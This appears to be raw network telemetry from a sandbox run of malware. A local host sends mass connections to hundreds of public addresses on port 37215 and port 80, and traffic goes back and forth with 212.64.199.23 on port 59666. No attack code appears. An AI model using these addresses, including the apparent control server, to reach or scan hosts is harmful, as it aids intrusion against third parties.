Feb 4, 2025 18:17:36.435760021 CET	35556	37215	192.168.2.23	41.91.179.180
Feb 4, 2025 18:17:36.435761929 CET	35556	37215	192.168.2.23	156.130.172.75
Feb 4, 2025 18:17:36.435761929 CET	35556	37215	192.168.2.23	197.204.111.254
Feb 4, 2025 18:17:36.435770035 CET	35556	37215	192.168.2.23	41.185.179.80
Feb 4, 2025 18:17:36.435770035 CET	35556	37215	192.168.2.23	41.84.177.241
Feb 4, 2025 18:17:36.435786009 CET	35556	37215	192.168.2.23	41.134.142.27
Feb 4, 2025 18:17:36.435786009 CET	35556	37215	192.168.2.23	41.3.202.178
Feb 4, 2025 18:17:36.435792923 CET	35556	37215	192.168.2.23	41.170.164.218
Feb 4, 2025 18:17:36.435798883 CET	35556	37215	192.168.2.23	41.126.4.235
Feb 4, 2025 18:17:36.435800076 CET	35556	37215	192.168.2.23	41.208.19.26
Feb 4, 2025 18:17:36.435800076 CET	35556	37215	192.168.2.23	197.18.247.113
Feb 4, 2025 18:17:36.435808897 CET	35556	37215	192.168.2.23	156.221.230.114
Feb 4, 2025 18:17:36.435815096 CET	35556	37215	192.168.2.23	41.99.243.243
Feb 4, 2025 18:17:36.435821056 CET	35556	37215	192.168.2.23	41.138.114.249
Feb 4, 2025 18:17:36.435831070 CET	35556	37215	192.168.2.23	156.114.143.71
Feb 4, 2025 18:17:36.435837984 CET	35556	37215	192.168.2.23	41.234.39.0
Feb 4, 2025 18:17:36.435837984 CET	35556	37215	192.168.2.23	41.33.116.116
Feb 4, 2025 18:17:36.435847044 CET	35556	37215	192.168.2.23	156.249.86.26
Feb 4, 2025 18:17:36.435853004 CET	35556	37215	192.168.2.23	41.139.220.177
Feb 4, 2025 18:17:36.435853004 CET	35556	37215	192.168.2.23	41.107.149.128
Feb 4, 2025 18:17:36.435856104 CET	35556	37215	192.168.2.23	197.242.206.209
Feb 4, 2025 18:17:36.435857058 CET	35556	37215	192.168.2.23	197.0.199.240
Feb 4, 2025 18:17:36.435877085 CET	35556	37215	192.168.2.23	197.108.161.206
Feb 4, 2025 18:17:36.435878038 CET	35556	37215	192.168.2.23	197.162.164.74
Feb 4, 2025 18:17:36.435877085 CET	35556	37215	192.168.2.23	41.225.149.161
Feb 4, 2025 18:17:36.435878038 CET	35556	37215	192.168.2.23	156.158.207.181
Feb 4, 2025 18:17:36.435878038 CET	35556	37215	192.168.2.23	197.13.57.224
Feb 4, 2025 18:17:36.435882092 CET	35556	37215	192.168.2.23	41.2.122.153
Feb 4, 2025 18:17:36.435892105 CET	35556	37215	192.168.2.23	197.195.187.207
Feb 4, 2025 18:17:36.435904026 CET	35556	37215	192.168.2.23	156.240.177.1
Feb 4, 2025 18:17:36.435904026 CET	35556	37215	192.168.2.23	156.15.175.109
Feb 4, 2025 18:17:36.435908079 CET	35556	37215	192.168.2.23	197.3.141.158
Feb 4, 2025 18:17:36.435909986 CET	35556	37215	192.168.2.23	41.254.191.47
Feb 4, 2025 18:17:36.435909986 CET	35556	37215	192.168.2.23	197.96.94.236
Feb 4, 2025 18:17:36.435910940 CET	35556	37215	192.168.2.23	197.87.122.5
Feb 4, 2025 18:17:36.435925961 CET	35556	37215	192.168.2.23	197.203.116.213
Feb 4, 2025 18:17:36.435925961 CET	35556	37215	192.168.2.23	197.48.21.198
Feb 4, 2025 18:17:36.435925961 CET	35556	37215	192.168.2.23	197.56.63.111
Feb 4, 2025 18:17:36.435930014 CET	35556	37215	192.168.2.23	156.182.170.25
Feb 4, 2025 18:17:36.435942888 CET	35556	37215	192.168.2.23	197.13.107.186
Feb 4, 2025 18:17:36.435942888 CET	35556	37215	192.168.2.23	156.159.92.1
Feb 4, 2025 18:17:36.435946941 CET	35556	37215	192.168.2.23	156.140.16.224
Feb 4, 2025 18:17:36.435947895 CET	35556	37215	192.168.2.23	41.160.229.192
Feb 4, 2025 18:17:36.435947895 CET	35556	37215	192.168.2.23	156.234.16.219
Feb 4, 2025 18:17:36.435947895 CET	35556	37215	192.168.2.23	41.199.52.10
Feb 4, 2025 18:17:36.435952902 CET	35556	37215	192.168.2.23	156.199.220.73
Feb 4, 2025 18:17:36.435955048 CET	35556	37215	192.168.2.23	197.226.11.134
Feb 4, 2025 18:17:36.435955048 CET	35556	37215	192.168.2.23	41.155.86.100
Feb 4, 2025 18:17:36.435972929 CET	35556	37215	192.168.2.23	197.45.7.219
Feb 4, 2025 18:17:36.435973883 CET	35556	37215	192.168.2.23	41.103.81.199
Feb 4, 2025 18:17:36.435976028 CET	35556	37215	192.168.2.23	41.90.220.99
Feb 4, 2025 18:17:36.435980082 CET	35556	37215	192.168.2.23	156.8.160.182
Feb 4, 2025 18:17:36.435991049 CET	35556	37215	192.168.2.23	156.211.21.164
Feb 4, 2025 18:17:36.435997963 CET	35556	37215	192.168.2.23	197.155.251.230
Feb 4, 2025 18:17:36.436009884 CET	35556	37215	192.168.2.23	197.19.183.30
Feb 4, 2025 18:17:36.436012030 CET	35556	37215	192.168.2.23	156.112.38.99
Feb 4, 2025 18:17:36.436014891 CET	35556	37215	192.168.2.23	41.67.200.13
Feb 4, 2025 18:17:36.436021090 CET	35556	37215	192.168.2.23	156.239.37.145
Feb 4, 2025 18:17:36.436021090 CET	35556	37215	192.168.2.23	156.159.255.148
Feb 4, 2025 18:17:36.436026096 CET	35556	37215	192.168.2.23	156.77.205.170
Feb 4, 2025 18:17:36.436026096 CET	35556	37215	192.168.2.23	41.83.160.50
Feb 4, 2025 18:17:36.436027050 CET	35556	37215	192.168.2.23	156.228.170.239
Feb 4, 2025 18:17:36.436043978 CET	35556	37215	192.168.2.23	197.213.221.125
Feb 4, 2025 18:17:36.436045885 CET	35556	37215	192.168.2.23	197.250.40.19
Feb 4, 2025 18:17:36.436049938 CET	35556	37215	192.168.2.23	156.173.79.228
Feb 4, 2025 18:17:36.436049938 CET	35556	37215	192.168.2.23	197.89.216.120
Feb 4, 2025 18:17:36.436049938 CET	35556	37215	192.168.2.23	197.206.153.25
Feb 4, 2025 18:17:36.436050892 CET	35556	37215	192.168.2.23	41.216.186.26
Feb 4, 2025 18:17:36.436057091 CET	35556	37215	192.168.2.23	156.207.214.155
Feb 4, 2025 18:17:36.436063051 CET	35556	37215	192.168.2.23	197.31.61.66
Feb 4, 2025 18:17:36.436074018 CET	35556	37215	192.168.2.23	41.207.115.30
Feb 4, 2025 18:17:36.436078072 CET	35556	37215	192.168.2.23	156.83.66.183
Feb 4, 2025 18:17:36.436089039 CET	35556	37215	192.168.2.23	197.89.64.217
Feb 4, 2025 18:17:36.436089039 CET	35556	37215	192.168.2.23	156.204.125.114
Feb 4, 2025 18:17:36.436094999 CET	35556	37215	192.168.2.23	156.145.16.221
Feb 4, 2025 18:17:36.436094999 CET	35556	37215	192.168.2.23	197.202.177.238
Feb 4, 2025 18:17:36.436096907 CET	35556	37215	192.168.2.23	156.163.57.61
Feb 4, 2025 18:17:36.436099052 CET	35556	37215	192.168.2.23	41.112.82.100
Feb 4, 2025 18:17:36.436099052 CET	35556	37215	192.168.2.23	41.82.10.243
Feb 4, 2025 18:17:36.436108112 CET	35556	37215	192.168.2.23	197.70.171.162
Feb 4, 2025 18:17:36.436108112 CET	35556	37215	192.168.2.23	156.7.73.123
Feb 4, 2025 18:17:36.436109066 CET	35556	37215	192.168.2.23	156.26.33.139
Feb 4, 2025 18:17:36.436110020 CET	35556	37215	192.168.2.23	197.38.190.56
Feb 4, 2025 18:17:36.436121941 CET	35556	37215	192.168.2.23	156.23.29.172
Feb 4, 2025 18:17:36.436131954 CET	35556	37215	192.168.2.23	41.201.10.12
Feb 4, 2025 18:17:36.436131954 CET	35556	37215	192.168.2.23	41.100.43.187
Feb 4, 2025 18:17:36.436136961 CET	35556	37215	192.168.2.23	41.243.104.160
Feb 4, 2025 18:17:36.436139107 CET	35556	37215	192.168.2.23	197.73.116.49
Feb 4, 2025 18:17:36.436139107 CET	35556	37215	192.168.2.23	197.74.40.101
Feb 4, 2025 18:17:36.436155081 CET	35556	37215	192.168.2.23	197.229.154.191
Feb 4, 2025 18:17:36.436156988 CET	35556	37215	192.168.2.23	156.152.103.228
Feb 4, 2025 18:17:36.436166048 CET	35556	37215	192.168.2.23	41.222.249.109
Feb 4, 2025 18:17:36.436167955 CET	35556	37215	192.168.2.23	197.121.189.192
Feb 4, 2025 18:17:36.436167955 CET	35556	37215	192.168.2.23	41.68.78.246
Feb 4, 2025 18:17:36.436167955 CET	35556	37215	192.168.2.23	197.233.155.202
Feb 4, 2025 18:17:36.436167955 CET	35556	37215	192.168.2.23	41.171.22.161
Feb 4, 2025 18:17:36.436175108 CET	35556	37215	192.168.2.23	41.175.162.89
Feb 4, 2025 18:17:36.436177969 CET	35556	37215	192.168.2.23	41.129.54.112
Feb 4, 2025 18:17:36.436188936 CET	35556	37215	192.168.2.23	156.10.68.137
Feb 4, 2025 18:17:36.436201096 CET	35556	37215	192.168.2.23	197.234.113.119
Feb 4, 2025 18:17:36.436208963 CET	35556	37215	192.168.2.23	197.88.205.0
Feb 4, 2025 18:17:36.436211109 CET	35556	37215	192.168.2.23	41.170.3.28
Feb 4, 2025 18:17:36.436218977 CET	35556	37215	192.168.2.23	156.2.126.187
Feb 4, 2025 18:17:36.436218977 CET	35556	37215	192.168.2.23	156.63.89.196
Feb 4, 2025 18:17:36.436229944 CET	35556	37215	192.168.2.23	197.79.95.179
Feb 4, 2025 18:17:36.436229944 CET	35556	37215	192.168.2.23	41.36.224.218
Feb 4, 2025 18:17:36.436230898 CET	35556	37215	192.168.2.23	41.173.236.209
Feb 4, 2025 18:17:36.436243057 CET	35556	37215	192.168.2.23	156.77.170.188
Feb 4, 2025 18:17:36.436243057 CET	35556	37215	192.168.2.23	41.235.33.135
Feb 4, 2025 18:17:36.436244965 CET	35556	37215	192.168.2.23	197.253.140.171
Feb 4, 2025 18:17:36.436249971 CET	35556	37215	192.168.2.23	197.84.22.43
Feb 4, 2025 18:17:36.436258078 CET	35556	37215	192.168.2.23	41.166.195.163
Feb 4, 2025 18:17:36.436259031 CET	35556	37215	192.168.2.23	156.100.237.254
Feb 4, 2025 18:17:36.436258078 CET	35556	37215	192.168.2.23	41.242.196.23
Feb 4, 2025 18:17:36.436259031 CET	35556	37215	192.168.2.23	197.228.111.133
Feb 4, 2025 18:17:36.436268091 CET	35556	37215	192.168.2.23	41.189.37.221
Feb 4, 2025 18:17:36.436268091 CET	35556	37215	192.168.2.23	197.198.112.81
Feb 4, 2025 18:17:36.436269045 CET	35556	37215	192.168.2.23	197.138.72.105
Feb 4, 2025 18:17:36.436269999 CET	35556	37215	192.168.2.23	197.153.136.51
Feb 4, 2025 18:17:36.436269999 CET	35556	37215	192.168.2.23	156.84.238.164
Feb 4, 2025 18:17:36.436269999 CET	35556	37215	192.168.2.23	197.59.254.178
Feb 4, 2025 18:17:36.436270952 CET	35556	37215	192.168.2.23	197.230.111.234
Feb 4, 2025 18:17:36.436270952 CET	35556	37215	192.168.2.23	156.220.0.70
Feb 4, 2025 18:17:36.436292887 CET	58204	37215	192.168.2.23	41.76.169.97
Feb 4, 2025 18:17:36.436296940 CET	35556	37215	192.168.2.23	197.63.190.132
Feb 4, 2025 18:17:36.436309099 CET	54694	37215	192.168.2.23	197.179.103.250
Feb 4, 2025 18:17:36.436326981 CET	40978	37215	192.168.2.23	41.8.93.210
Feb 4, 2025 18:17:36.440100908 CET	37215	35556	197.177.231.91	192.168.2.23
Feb 4, 2025 18:17:36.440116882 CET	37215	35556	197.208.150.161	192.168.2.23
Feb 4, 2025 18:17:36.440128088 CET	37215	35556	197.45.38.135	192.168.2.23
Feb 4, 2025 18:17:36.440149069 CET	35556	37215	192.168.2.23	197.177.231.91
Feb 4, 2025 18:17:36.440149069 CET	35556	37215	192.168.2.23	197.208.150.161
Feb 4, 2025 18:17:36.440162897 CET	35556	37215	192.168.2.23	197.45.38.135
Feb 4, 2025 18:17:36.547569990 CET	59666	40116	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:36.547727108 CET	40116	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:36.547727108 CET	40116	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:36.555162907 CET	40314	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:36.559916973 CET	59666	40314	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:36.559983969 CET	40314	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:36.560000896 CET	40314	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:36.564779043 CET	59666	40314	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:36.564838886 CET	40314	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:36.569596052 CET	59666	40314	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:37.104382038 CET	42836	443	192.168.2.23	91.189.91.43
Feb 4, 2025 18:17:37.321997881 CET	59666	40314	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:37.322078943 CET	40314	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:37.322129011 CET	40314	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:37.328274965 CET	40316	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:37.333056927 CET	59666	40316	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:37.333110094 CET	40316	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:37.333132029 CET	40316	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:37.337914944 CET	59666	40316	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:37.337968111 CET	40316	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:37.342705011 CET	59666	40316	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:37.397845984 CET	46308	80	192.168.2.23	112.95.124.187
Feb 4, 2025 18:17:37.397855997 CET	46308	80	192.168.2.23	126.220.197.147
Feb 4, 2025 18:17:37.397862911 CET	46308	80	192.168.2.23	68.15.113.162
Feb 4, 2025 18:17:37.397865057 CET	46308	80	192.168.2.23	49.28.194.253
Feb 4, 2025 18:17:37.397890091 CET	46308	80	192.168.2.23	85.112.140.158
Feb 4, 2025 18:17:37.397891045 CET	46308	80	192.168.2.23	88.42.57.96
Feb 4, 2025 18:17:37.397892952 CET	46308	80	192.168.2.23	37.23.46.64
Feb 4, 2025 18:17:37.397896051 CET	46308	80	192.168.2.23	4.246.234.6
Feb 4, 2025 18:17:37.397902966 CET	46308	80	192.168.2.23	136.228.174.11
Feb 4, 2025 18:17:37.397910118 CET	46308	80	192.168.2.23	105.181.115.182
Feb 4, 2025 18:17:37.397916079 CET	46308	80	192.168.2.23	51.255.161.213
Feb 4, 2025 18:17:37.397916079 CET	46308	80	192.168.2.23	184.9.38.216
Feb 4, 2025 18:17:37.397933960 CET	46308	80	192.168.2.23	191.66.91.167
Feb 4, 2025 18:17:37.397939920 CET	46308	80	192.168.2.23	59.45.39.108
Feb 4, 2025 18:17:37.397943020 CET	46308	80	192.168.2.23	73.24.13.153
Feb 4, 2025 18:17:37.397959948 CET	46308	80	192.168.2.23	141.67.61.255
Feb 4, 2025 18:17:37.397959948 CET	46308	80	192.168.2.23	76.76.79.149
Feb 4, 2025 18:17:37.397960901 CET	46308	80	192.168.2.23	130.206.168.29
Feb 4, 2025 18:17:37.397962093 CET	46308	80	192.168.2.23	89.46.197.21
Feb 4, 2025 18:17:37.397963047 CET	46308	80	192.168.2.23	200.183.96.144
Feb 4, 2025 18:17:37.397962093 CET	46308	80	192.168.2.23	97.15.52.37
Feb 4, 2025 18:17:37.397974014 CET	46308	80	192.168.2.23	148.84.9.70
Feb 4, 2025 18:17:37.397983074 CET	46308	80	192.168.2.23	4.176.245.185
Feb 4, 2025 18:17:37.397984028 CET	46308	80	192.168.2.23	9.24.138.162
Feb 4, 2025 18:17:37.397989035 CET	46308	80	192.168.2.23	207.242.232.117
Feb 4, 2025 18:17:37.397989035 CET	46308	80	192.168.2.23	213.19.159.164
Feb 4, 2025 18:17:37.397989035 CET	46308	80	192.168.2.23	12.78.127.191
Feb 4, 2025 18:17:37.398001909 CET	46308	80	192.168.2.23	178.27.71.216
Feb 4, 2025 18:17:37.398004055 CET	46308	80	192.168.2.23	171.4.4.125
Feb 4, 2025 18:17:37.398008108 CET	46308	80	192.168.2.23	124.128.76.233
Feb 4, 2025 18:17:37.398020983 CET	46308	80	192.168.2.23	148.238.206.105
Feb 4, 2025 18:17:37.398020983 CET	46308	80	192.168.2.23	192.89.201.92
Feb 4, 2025 18:17:37.398026943 CET	46308	80	192.168.2.23	107.115.165.29
Feb 4, 2025 18:17:37.398029089 CET	46308	80	192.168.2.23	223.191.126.74
Feb 4, 2025 18:17:37.398031950 CET	46308	80	192.168.2.23	58.219.127.192
Feb 4, 2025 18:17:37.398031950 CET	46308	80	192.168.2.23	163.41.82.234
Feb 4, 2025 18:17:37.398031950 CET	46308	80	192.168.2.23	200.246.63.145
Feb 4, 2025 18:17:37.398045063 CET	46308	80	192.168.2.23	205.28.6.151
Feb 4, 2025 18:17:37.398045063 CET	46308	80	192.168.2.23	73.96.9.134
Feb 4, 2025 18:17:37.398045063 CET	46308	80	192.168.2.23	111.135.170.29
Feb 4, 2025 18:17:37.398051023 CET	46308	80	192.168.2.23	47.58.36.225
Feb 4, 2025 18:17:37.398055077 CET	46308	80	192.168.2.23	117.207.220.125
Feb 4, 2025 18:17:37.398062944 CET	46308	80	192.168.2.23	190.82.84.241
Feb 4, 2025 18:17:37.398065090 CET	46308	80	192.168.2.23	38.180.15.112
Feb 4, 2025 18:17:37.398082018 CET	46308	80	192.168.2.23	181.216.200.13
Feb 4, 2025 18:17:37.398083925 CET	46308	80	192.168.2.23	102.131.40.111
Feb 4, 2025 18:17:37.398083925 CET	46308	80	192.168.2.23	185.46.200.23
Feb 4, 2025 18:17:37.398085117 CET	46308	80	192.168.2.23	126.84.54.123
Feb 4, 2025 18:17:37.398087025 CET	46308	80	192.168.2.23	99.185.190.215
Feb 4, 2025 18:17:37.398089886 CET	46308	80	192.168.2.23	165.188.151.16
Feb 4, 2025 18:17:37.398089886 CET	46308	80	192.168.2.23	216.208.154.255
Feb 4, 2025 18:17:37.398101091 CET	46308	80	192.168.2.23	64.45.187.1
Feb 4, 2025 18:17:37.398114920 CET	46308	80	192.168.2.23	166.230.3.28
Feb 4, 2025 18:17:37.398114920 CET	46308	80	192.168.2.23	14.33.92.128
Feb 4, 2025 18:17:37.398116112 CET	46308	80	192.168.2.23	94.3.42.83
Feb 4, 2025 18:17:37.398128986 CET	46308	80	192.168.2.23	5.209.178.255
Feb 4, 2025 18:17:37.398128986 CET	46308	80	192.168.2.23	160.6.86.54
Feb 4, 2025 18:17:37.398128986 CET	46308	80	192.168.2.23	211.252.12.161
Feb 4, 2025 18:17:37.398148060 CET	46308	80	192.168.2.23	205.201.249.203
Feb 4, 2025 18:17:37.398149967 CET	46308	80	192.168.2.23	115.41.138.60
Feb 4, 2025 18:17:37.398153067 CET	46308	80	192.168.2.23	2.137.38.102
Feb 4, 2025 18:17:37.398153067 CET	46308	80	192.168.2.23	91.9.195.152
Feb 4, 2025 18:17:37.398161888 CET	46308	80	192.168.2.23	213.180.136.141
Feb 4, 2025 18:17:37.398163080 CET	46308	80	192.168.2.23	81.241.138.91
Feb 4, 2025 18:17:37.398164034 CET	46308	80	192.168.2.23	204.140.208.71
Feb 4, 2025 18:17:37.398168087 CET	46308	80	192.168.2.23	128.57.170.95
Feb 4, 2025 18:17:37.398180962 CET	46308	80	192.168.2.23	40.159.77.28
Feb 4, 2025 18:17:37.398181915 CET	46308	80	192.168.2.23	46.98.87.229
Feb 4, 2025 18:17:37.398185968 CET	46308	80	192.168.2.23	170.99.69.140
Feb 4, 2025 18:17:37.398191929 CET	46308	80	192.168.2.23	44.105.205.23
Feb 4, 2025 18:17:37.398200035 CET	46308	80	192.168.2.23	85.197.209.254
Feb 4, 2025 18:17:37.398212910 CET	46308	80	192.168.2.23	4.62.82.80
Feb 4, 2025 18:17:37.398212910 CET	46308	80	192.168.2.23	18.252.201.0
Feb 4, 2025 18:17:37.398221970 CET	46308	80	192.168.2.23	206.24.170.148
Feb 4, 2025 18:17:37.398224115 CET	46308	80	192.168.2.23	134.70.204.184
Feb 4, 2025 18:17:37.398224115 CET	46308	80	192.168.2.23	141.1.132.210
Feb 4, 2025 18:17:37.398247957 CET	46308	80	192.168.2.23	12.118.163.8
Feb 4, 2025 18:17:37.398247957 CET	46308	80	192.168.2.23	222.165.157.14
Feb 4, 2025 18:17:37.398247957 CET	46308	80	192.168.2.23	24.27.222.26
Feb 4, 2025 18:17:37.398248911 CET	46308	80	192.168.2.23	60.212.207.241
Feb 4, 2025 18:17:37.398248911 CET	46308	80	192.168.2.23	43.228.143.116
Feb 4, 2025 18:17:37.398252010 CET	46308	80	192.168.2.23	217.192.236.141
Feb 4, 2025 18:17:37.398258924 CET	46308	80	192.168.2.23	129.59.140.45
Feb 4, 2025 18:17:37.398258924 CET	46308	80	192.168.2.23	120.243.89.248
Feb 4, 2025 18:17:37.398267984 CET	46308	80	192.168.2.23	49.255.105.5
Feb 4, 2025 18:17:37.398276091 CET	46308	80	192.168.2.23	191.232.177.137
Feb 4, 2025 18:17:37.398276091 CET	46308	80	192.168.2.23	209.136.100.17
Feb 4, 2025 18:17:37.398283005 CET	46308	80	192.168.2.23	210.217.106.188
Feb 4, 2025 18:17:37.398297071 CET	46308	80	192.168.2.23	145.27.184.140
Feb 4, 2025 18:17:37.398298025 CET	46308	80	192.168.2.23	80.92.251.12
Feb 4, 2025 18:17:37.398300886 CET	46308	80	192.168.2.23	93.82.82.128
Feb 4, 2025 18:17:37.398303032 CET	46308	80	192.168.2.23	107.133.172.7
Feb 4, 2025 18:17:37.398304939 CET	46308	80	192.168.2.23	194.209.158.17
Feb 4, 2025 18:17:37.398305893 CET	46308	80	192.168.2.23	53.220.97.94
Feb 4, 2025 18:17:37.398305893 CET	46308	80	192.168.2.23	49.112.227.39
Feb 4, 2025 18:17:37.398324966 CET	46308	80	192.168.2.23	8.238.23.110
Feb 4, 2025 18:17:37.398324966 CET	46308	80	192.168.2.23	213.245.230.249
Feb 4, 2025 18:17:37.398329973 CET	46308	80	192.168.2.23	103.127.161.10
Feb 4, 2025 18:17:37.398329973 CET	46308	80	192.168.2.23	208.142.134.244
Feb 4, 2025 18:17:37.398332119 CET	46308	80	192.168.2.23	42.119.70.81
Feb 4, 2025 18:17:37.398340940 CET	46308	80	192.168.2.23	12.23.41.120
Feb 4, 2025 18:17:37.398361921 CET	46308	80	192.168.2.23	96.55.98.134
Feb 4, 2025 18:17:37.398365974 CET	46308	80	192.168.2.23	138.136.37.179
Feb 4, 2025 18:17:37.398370981 CET	46308	80	192.168.2.23	150.230.129.243
Feb 4, 2025 18:17:37.398370981 CET	46308	80	192.168.2.23	172.214.101.73
Feb 4, 2025 18:17:37.398371935 CET	46308	80	192.168.2.23	195.173.76.250
Feb 4, 2025 18:17:37.398372889 CET	46308	80	192.168.2.23	95.219.238.63
Feb 4, 2025 18:17:37.398376942 CET	46308	80	192.168.2.23	103.255.223.17
Feb 4, 2025 18:17:37.398380041 CET	46308	80	192.168.2.23	145.171.34.135
Feb 4, 2025 18:17:37.398380041 CET	46308	80	192.168.2.23	133.180.75.49
Feb 4, 2025 18:17:37.398394108 CET	46308	80	192.168.2.23	153.55.43.84
Feb 4, 2025 18:17:37.398396969 CET	46308	80	192.168.2.23	161.234.194.171
Feb 4, 2025 18:17:37.398396969 CET	46308	80	192.168.2.23	181.204.214.30
Feb 4, 2025 18:17:37.398401022 CET	46308	80	192.168.2.23	106.89.50.9
Feb 4, 2025 18:17:37.398401022 CET	46308	80	192.168.2.23	132.136.50.192
Feb 4, 2025 18:17:37.398401022 CET	46308	80	192.168.2.23	27.93.188.238
Feb 4, 2025 18:17:37.398401022 CET	46308	80	192.168.2.23	14.111.120.105
Feb 4, 2025 18:17:37.398403883 CET	46308	80	192.168.2.23	135.160.218.76
Feb 4, 2025 18:17:37.398415089 CET	46308	80	192.168.2.23	116.212.52.95
Feb 4, 2025 18:17:37.398415089 CET	46308	80	192.168.2.23	177.185.124.178
Feb 4, 2025 18:17:37.398422003 CET	46308	80	192.168.2.23	31.121.193.17
Feb 4, 2025 18:17:37.398426056 CET	46308	80	192.168.2.23	212.122.31.59
Feb 4, 2025 18:17:37.398426056 CET	46308	80	192.168.2.23	12.112.118.155
Feb 4, 2025 18:17:37.398432970 CET	46308	80	192.168.2.23	166.165.242.67
Feb 4, 2025 18:17:37.398432970 CET	46308	80	192.168.2.23	169.67.247.237
Feb 4, 2025 18:17:37.398442984 CET	46308	80	192.168.2.23	129.209.109.101
Feb 4, 2025 18:17:37.398447037 CET	46308	80	192.168.2.23	89.8.11.158
Feb 4, 2025 18:17:37.398448944 CET	46308	80	192.168.2.23	114.208.219.232
Feb 4, 2025 18:17:37.398452997 CET	46308	80	192.168.2.23	64.241.84.196
Feb 4, 2025 18:17:37.398463011 CET	46308	80	192.168.2.23	161.59.68.156
Feb 4, 2025 18:17:37.398484945 CET	46308	80	192.168.2.23	83.192.70.60
Feb 4, 2025 18:17:37.398484945 CET	46308	80	192.168.2.23	165.235.0.195
Feb 4, 2025 18:17:37.398487091 CET	46308	80	192.168.2.23	79.243.72.148
Feb 4, 2025 18:17:37.398487091 CET	46308	80	192.168.2.23	192.194.71.230
Feb 4, 2025 18:17:37.398487091 CET	46308	80	192.168.2.23	113.128.57.66
Feb 4, 2025 18:17:37.398489952 CET	46308	80	192.168.2.23	193.24.142.134
Feb 4, 2025 18:17:37.398489952 CET	46308	80	192.168.2.23	65.251.15.56
Feb 4, 2025 18:17:37.398489952 CET	46308	80	192.168.2.23	121.123.225.148
Feb 4, 2025 18:17:37.398493052 CET	46308	80	192.168.2.23	81.31.79.30
Feb 4, 2025 18:17:37.398495913 CET	46308	80	192.168.2.23	212.143.67.26
Feb 4, 2025 18:17:37.398495913 CET	46308	80	192.168.2.23	183.211.103.44
Feb 4, 2025 18:17:37.398497105 CET	46308	80	192.168.2.23	107.153.204.56
Feb 4, 2025 18:17:37.398495913 CET	46308	80	192.168.2.23	204.200.40.106
Feb 4, 2025 18:17:37.398502111 CET	46308	80	192.168.2.23	113.62.240.214
Feb 4, 2025 18:17:37.398502111 CET	46308	80	192.168.2.23	164.7.143.70
Feb 4, 2025 18:17:37.398505926 CET	46308	80	192.168.2.23	95.237.118.159
Feb 4, 2025 18:17:37.398509026 CET	46308	80	192.168.2.23	100.182.158.162
Feb 4, 2025 18:17:37.398509979 CET	46308	80	192.168.2.23	61.179.193.152
Feb 4, 2025 18:17:37.398523092 CET	46308	80	192.168.2.23	1.128.39.194
Feb 4, 2025 18:17:37.398523092 CET	46308	80	192.168.2.23	210.62.15.64
Feb 4, 2025 18:17:37.398525953 CET	46308	80	192.168.2.23	103.96.189.194
Feb 4, 2025 18:17:37.398540974 CET	46308	80	192.168.2.23	133.106.126.37
Feb 4, 2025 18:17:37.398545980 CET	46308	80	192.168.2.23	181.58.186.161
Feb 4, 2025 18:17:37.398549080 CET	46308	80	192.168.2.23	152.193.175.55
Feb 4, 2025 18:17:37.398549080 CET	46308	80	192.168.2.23	218.82.126.57
Feb 4, 2025 18:17:37.398550987 CET	46308	80	192.168.2.23	52.123.224.37
Feb 4, 2025 18:17:37.398555040 CET	46308	80	192.168.2.23	34.113.51.53
Feb 4, 2025 18:17:37.398557901 CET	46308	80	192.168.2.23	17.96.208.170
Feb 4, 2025 18:17:37.398570061 CET	46308	80	192.168.2.23	196.2.157.162
Feb 4, 2025 18:17:37.398576021 CET	46308	80	192.168.2.23	211.91.93.114
Feb 4, 2025 18:17:37.398587942 CET	46308	80	192.168.2.23	213.201.165.12
Feb 4, 2025 18:17:37.398596048 CET	46308	80	192.168.2.23	17.254.141.75
Feb 4, 2025 18:17:37.398597956 CET	46308	80	192.168.2.23	39.71.47.78
Feb 4, 2025 18:17:37.398597956 CET	46308	80	192.168.2.23	212.207.8.171
Feb 4, 2025 18:17:37.398597956 CET	46308	80	192.168.2.23	183.23.173.123
Feb 4, 2025 18:17:37.398618937 CET	46308	80	192.168.2.23	168.161.130.249
Feb 4, 2025 18:17:37.398631096 CET	46308	80	192.168.2.23	196.42.41.151
Feb 4, 2025 18:17:37.398632050 CET	46308	80	192.168.2.23	13.192.110.222
Feb 4, 2025 18:17:37.398636103 CET	46308	80	192.168.2.23	89.49.109.173
Feb 4, 2025 18:17:37.398636103 CET	46308	80	192.168.2.23	153.159.38.171
Feb 4, 2025 18:17:37.398637056 CET	46308	80	192.168.2.23	148.235.82.54
Feb 4, 2025 18:17:37.398652077 CET	46308	80	192.168.2.23	165.254.248.156
Feb 4, 2025 18:17:37.398654938 CET	46308	80	192.168.2.23	61.190.244.243
Feb 4, 2025 18:17:37.398654938 CET	46308	80	192.168.2.23	9.229.12.47
Feb 4, 2025 18:17:37.398658037 CET	46308	80	192.168.2.23	213.239.44.71
Feb 4, 2025 18:17:37.398674011 CET	46308	80	192.168.2.23	87.136.220.252
Feb 4, 2025 18:17:37.398674011 CET	46308	80	192.168.2.23	136.130.224.167
Feb 4, 2025 18:17:37.398674965 CET	46308	80	192.168.2.23	138.102.185.250
Feb 4, 2025 18:17:37.398674965 CET	46308	80	192.168.2.23	130.225.112.253
Feb 4, 2025 18:17:37.398675919 CET	46308	80	192.168.2.23	162.69.226.139
Feb 4, 2025 18:17:37.398675919 CET	46308	80	192.168.2.23	152.56.80.74
Feb 4, 2025 18:17:37.398685932 CET	46308	80	192.168.2.23	60.199.159.252
Feb 4, 2025 18:17:37.398688078 CET	46308	80	192.168.2.23	25.58.122.77
